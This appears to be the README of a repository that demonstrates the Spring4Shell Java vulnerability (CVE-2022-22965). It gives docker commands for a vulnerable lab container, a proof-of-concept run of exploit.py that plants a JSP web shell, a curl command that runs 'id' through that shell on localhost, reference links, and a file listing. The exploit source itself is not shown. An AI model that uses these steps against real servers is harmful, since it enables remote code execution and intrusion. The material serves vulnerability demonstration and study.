Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965# Spring4Shell(CVE-2022-22965)
Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965
# Spring4Shell(CVE-2022-22965) Exploit Demo
https://user-images.githubusercontent.com/57348147/161458377-44ab2f76-f947-4599-aa0a-92cbaac819f8.mp4
## Build
```bash
docker pull me2nuk/cves:2022-22965
docker run -it -p 8080:8080 --name=spring4shell me2nuk/cves:2022-22965
```
## POC
```bash
python3 -m pip install -r requirements.txt
python3 exploit.py --url="http://localhost:8080/exploit/greeting" --dir="webapps/ROOT" --file="cmd"
curl http://localhost:8080/cmd.jsp?cmd=id
```
#### References
---
+ [https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/](https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/)
+ [https://github.com/tweedge/springcore-0day-en/blob/main/ANALYSIS_EN.md](https://github.com/tweedge/springcore-0day-en/blob/main/ANALYSIS_EN.md)
+ [https://github.com/lunasec-io/Spring4Shell-POC](https://github.com/lunasec-io/Spring4Shell-POC)
[4.0K] /data/pocs/e6f7fffc2807f8b2c539c55fe3c5073c2e282123
├── [1.8M] CVE-2022-22965 RCE Exploit.mp4
├── [ 255] Dockerfile
├── [2.7K] exploit.py
├── [1.7K] pom.xml
├── [ 990] README.md
├── [ 48] requirements.txt
├── [4.0K] src
│ ├── [4.0K] main
│ │ ├── [4.0K] java
│ │ │ └── [4.0K] com
│ │ │ └── [4.0K] me2nuk
│ │ │ └── [4.0K] exploit
│ │ │ ├── [ 649] AppController.java
│ │ │ ├── [ 431] ExploitApplication.java
│ │ │ └── [ 314] Greeting.java
│ │ └── [4.0K] resources
│ │ ├── [ 0] application.properties
│ │ └── [4.0K] templates
│ │ └── [ 27] hello.html
│ └── [4.0K] test
│ └── [4.0K] java
│ └── [4.0K] com
│ └── [4.0K] me2nuk
│ └── [4.0K] exploit
│ └── [ 211] ExploitApplicationTests.java
└── [4.0K] target
├── [4.0K] classes
│ ├── [ 0] application.properties
│ ├── [4.0K] com
│ │ └── [4.0K] me2nuk
│ │ └── [4.0K] exploit
│ │ ├── [1.3K] AppController.class
│ │ ├── [ 803] ExploitApplication.class
│ │ └── [ 780] Greeting.class
│ └── [4.0K] templates
│ └── [ 27] hello.html
└── [4.0K] test-classes
└── [4.0K] com
└── [4.0K] me2nuk
└── [4.0K] exploit
└── [ 544] ExploitApplicationTests.class
23 directories, 18 files